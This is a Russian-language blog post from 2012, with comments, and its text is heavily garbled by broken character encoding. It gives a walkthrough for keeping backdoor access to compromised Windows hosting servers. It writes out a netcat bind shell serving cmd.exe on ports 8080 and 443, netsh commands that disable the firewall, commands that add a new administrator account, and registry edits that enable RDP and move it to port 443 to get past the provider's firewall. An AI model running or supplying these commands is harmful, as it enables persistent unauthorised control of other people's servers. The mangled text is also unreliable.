23.06.2012

»сследование Windows-бэкдоров Ц обход файрвола поставщиков веб-хостинга

image

 лючевой задачей данного документа €вл€етс€ обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

Lulzsec47

ѕоследнее врем€ хакеры ищут способы оставить бэкдор на Windows-сервере, хоз€ином которого €вл€етс€ какой-нибудь из лучших хостинг-провайдеров. Ќа эту тему было сделано много исследований. ќднако, ключевой задачей данного документа €вл€етс€ обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

ќбычно, когда мы находим у€звимость на веб-сервере дл€ Windows, мы пытаемс€ загрузить на него asp/java-шелл. ѕосле загрузки мы гул€ем по папкам и файлам веб-сервера, но чаще всего пытаемс€ оставить на нем бэкдор, чтобы мы могли соедин€тьс€ с ним когда пожелаем без боли в небезызвестном месте. ƒл€ этого нам нужен доступ к командам. ƒл€ доступа к командам нам нужно создать бэкдор, при соединении с которым будет выдаватьс€ командна€ оболочка. ƒл€ создани€ такого бэкдора существует несколько способов.

ѕолучив asp-шелл на Windows-сервере с IIS 6/IIS 5, мы пытаемс€ создать на нем бэкдор, однако из-за наличи€ файрвола наша попытка часто терпит неудачу. ¬ообще, при наличии файрвола довольно сложно соединитьс€ с сервером или осуществл€ть над ним удаленный контроль.†

ƒл€ создани€ бэкдоров на Windows-серверах существует несколько способов. —начала € покажу вам, как сделать бэкдор с помощью net cat. «агрузите netcat на удаленный компьютер и откройте дл€ прослушивани€ порт, например:†††

C:\>nc –l Цp 8080 † †
†† [на 192.168.9.2]

«десь мы открыли порт 8080. ƒалее мы соединимс€ с 192.168.9.2 через удаленную систему. ƒл€ этого нам нужно установить netcat на 192.168.9.2 и запустить интерпретатор команд cmd. ¬от команда, которую нужно выполнить на 192.168.9.2:

C:\>nc Цl Цp 8080 Цe cmd.exe † ††

ѕосле запуска этой команды хост с IP-адресом 192.168.9.2 начинает прослушивать порт, пыта€сь запустить cmd.

ѕредположим, что мы пытаемс€ соединитьс€ с 192.168.9.2, наход€сь на машине с адресом 192.168.9.7 ќткроем telnet на 192.168.9.7 и соединимс€ с 192.168.9.2 через порт 8080, выполнив следующую команду:

C:\>telnet 192.168.9.2 8080 ††

ƒругой вариант Ц использовать дл€ соединени€ putty. ѕросто вбейте в настройки адрес 192.168.9.2 и порт 8080

—оединившись, вы получите командную оболочку и сможете установить бэкдор-соединение с данным сервером.

ѕолучив доступ к командной оболочке вы, если нужно, можете выключить файрвол следующей командой:

C:\>netsh firewall set opmode disable ††

»ли так:

C:\Windows\System32\netsh.exe "firewall set opmode = DISABLE profile = ALL"

—уществует также масса других опций. ѕросто идите в командную строку и введите netsh help, чтобы увидеть все, что вы можете сделать с помощью netsh. ≈сли ваш компьютер €вл€етс€ членом домена, вы должны использовать данную команду, чтобы выключить режим домена и локальный режим:

netsh firewall set opmode mode = DISABLE profile = ALL

“еперь, если вы хотите установить удаленное соединение через RDP, но служба удаленного рабочего стола отключена, вы можете включить ее описываемым далее способом.

≈сли вы хотите создать нового пользовател€ на сервере с правами администратора, воспользуйтесь следующими командами.

net user newuser1 newpassword /add
net localgroup administrators newuser1 /add
net user newuser1

≈сли после создани€ нового пользовател€ вы захотите осуществл€ть удаленное подключение к серверу жертвы, вам понадобитс€ включить на сервере RDP.

ƒл€ включени€ возможности RDP-соединений наберите в командной строке следующую команду: †

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

 огда вы включите службу RDP, вы можете устанавливать удаленное подключение к серверу жертвы по протоколу RDP. Ќо в реальных услови€х оказываетс€, что большинство поставщиков веб-хостинга блокируют RDP-соединени€, то есть блокируют вход€щий трафик на порту 3389. ѕравила файрвола в этом случае выгл€д€т так:

Allow traffic on 80, 443
Deny all * exception on 80 and 443*

“ак что, когда мы попытаемс€ установить RDP-соединение из внешней сети, у нас ничего не получитс€.

—уществует несколько методов, которые позвол€ют обмануть файрвол путем запуска netcat на порту 443 или любом другом открытом порту сервера. Ќам нужно запустить netcat на 443 порту лишь потому, что файрвол пропускает трафик на нем. »так, нам нужно соединитьс€ с портом 443, поскольку трафик на данном порту разрешен (например, https-трафик).

† †

„тобы обойти файрвол, нам нужно открыть порт 443 дл€ прослушивани€. ¬от соответствующа€ команда:

C:\>nc Цl Цp 443 Цe cmd.exe ††

 огда мы соединимс€ с жертвой на порту 443 через telnet, мы получим командную оболочку, которую файрвол не будет блокировать из-за того, что трафик идет через 443 порт.

¬ывод: чтобы попытатьс€ сделать бэкдор, мы можем использовать порты 80 и 443, где можно обойти файрвол и безопасно соединитьс€ с сервером.

ƒанный снимок экрана показывает, что мы соедин€емс€ с 192.168.9.2 на порту 443 через telnet.

† †

ѕосле соединени€ с 192.168.9.2 на порту 443, мы получаем в наше распор€жение командную строку cmd.

† †

–аз соединение было установлено, значит, мы обошли файрвол.

 огда нам нужно установить RDP-соединение, все выгл€дит аналогично. ѕо умолчанию RDP запущен на порту 3389, поэтому нам нужно заставить его слушать порт 443 или любой другой, который не блокируетс€ файрволом. ≈сли вы хотите изменить прослушиваемый порт, отредактируйте этот ключ реестра: †

\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP †
†Value : PortNUmber REG_DWORD=443

„тобы включить “ерминальный сервер/RDP, запустите следующую команду:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

ѕосле выполнени€ даных действий вы сможете подключатьс€ к удаленному компьютеру через стандартное "ѕодключение к удаленному рабочему столу", введ€ IP-адрес или доменное им€, за которыми следует двоеточие и номер порта (443 в нашем случае). ‘айрвол не будет блокировать RDP-соединение, установленное на 443 порту. “ем самым вы обойдете файрвол и сделаете попытку создани€ бэкдора.

† †††

¬ывод: вы можете создать бэкдор дл€ Windows-сервера на портах 80 и 443, на которых firewall не фильтрует трафик (поскольку разрешает http- и https-трафик). ¬ы также можете создавать RDP-соединение на порту 443. “о есть, порт 3389 не об€зательно должен быть открыт, а RDP-соединение может обходить файрвол, когда 3389 порт блокируетс€ дл€ внешних соединений.

Ќасто€щий документ создан дл€ учебных целей и на основании моих личных знаний. Ќе предпринимайте никаких незаконных действий в отношении хостинг-провайдеров.

или введите им€

CAPTCHA
eshkatot
23-06-2012 11:09:16
ќфигенный пост. ќказываетс€ firewall может иметь стандартные открытые порты. ѕросто пр€мо-таки поразительно. » на нестандартный порт можно повесить сервис, какой новый, неожиданный хак.  стати а как можно от него защититьс€? Lulzsec Ѕлин.
0 |
WOW
25-06-2012 09:24:15
’ак года, где были исследователи все эти годы и как мы могли жить с такой багой - не пон€тно!
0 |
ZLoddy
25-06-2012 12:30:18
ѕри помощи netcat можно создавать реверс-шелл, и тогда манипул€ции с файрволлами вообще не нужны. ј новость - да, отстала лет на 7
0 |
alex
27-06-2012 01:46:02
мда, самое трудное - получить привилегированный шелл - описано мельком, сначала. Ёто как бы раз плюнуть ))
0 |
A
27-06-2012 12:05:51
ƒл€ школьной конференции стать€?
0 |